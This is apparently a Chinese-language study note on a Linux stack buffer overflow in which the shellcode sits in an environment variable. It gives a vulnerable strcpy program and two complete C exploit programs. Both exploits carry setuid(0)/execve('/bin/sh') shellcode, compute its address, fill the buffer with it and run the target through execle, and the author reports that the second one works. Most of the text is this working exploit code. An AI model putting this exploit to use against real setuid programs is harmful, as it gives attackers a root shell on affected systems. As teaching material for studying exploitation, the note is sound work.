当缓冲区比较小,不足以放下shellcode时,可以利用环境变量,因为这部分内存是可写的,理论基础是:所有的Linux ELF可执行文件映射到内存时,会将最后一个相对地址映射为0xbfffffff。而环境和参数存储在该区域中,且该区域之下刚好是栈。下面是进程上部内存详细布局。
攻击目标代码:
//samllbuff.c int main(int argc,char *argv[]){ char buff[10]; strcpy(buff,argv[1]); printf("%s\n",buff); }
exploit
#include<stdlib.h> #include<stdio.h> #define VULN "./smallbuff" #define SIZE 160 char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc,char **argv){ char p[SIZE]; //将shellcode放到env中 char *env[]={shellcode,NULL};//字符指针数组,其成员是需要执行的shellcode char *vuln[]={VULN,p,NULL}; int *ptr,i,addr; //计算shellcode的精确位置 addr=0xbffffffa-strlen(shellcode)-strlen(VULN); fprintf(stderr,"[***] using address:%#010x\n",addr); /*用计算的地址填充缓冲区*/ ptr=(int *)p; for(i=0;i<SIZE;i+=4) *ptr++=addr; //用execle调用程序,该程序将环境变量作为输入 execle(vuln[0],vuln,p,NULL,env); exit(1); }
以上的exploit没有验证通过,后来经过调试分析,自己编了个,可以通过
#include<stdlib.h> #include<stdio.h> #include<unistd.h> #define VULN "./smallbuff" char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { long addr,*dtr; //dtr用于在缓冲区最后面写上shellcode地址用 char *env[]={shellcode,0}; //存储环境变量 char *buffer,*ptr; //ptr用于遍历buffer缓冲区 int size=10; int i; size=atoi(argv[1]); //获取buffer大小,比攻击的目标缓冲区大8个,所以缺点是必需知道缓冲区的大小 buffer=(char *)malloc(size); addr=0xbffffffa-strlen(shellcode)-strlen(VULN); fprintf(stderr,"[***] using address:%#010x\n",addr); ptr=buffer; for(i=0;i<(size-4);i++) *(ptr++)='\x90'; //把buffer的前面填上随意的东西就可,关键得有东西 dtr=(long *)ptr; *dtr=addr; printf("%s\n",buffer); execle(VULN,"smallbuff",buffer,0,env); }
关键是缓冲区地址安排的正好覆盖eip,多一点少一点都不行,还得加强gdb的学习。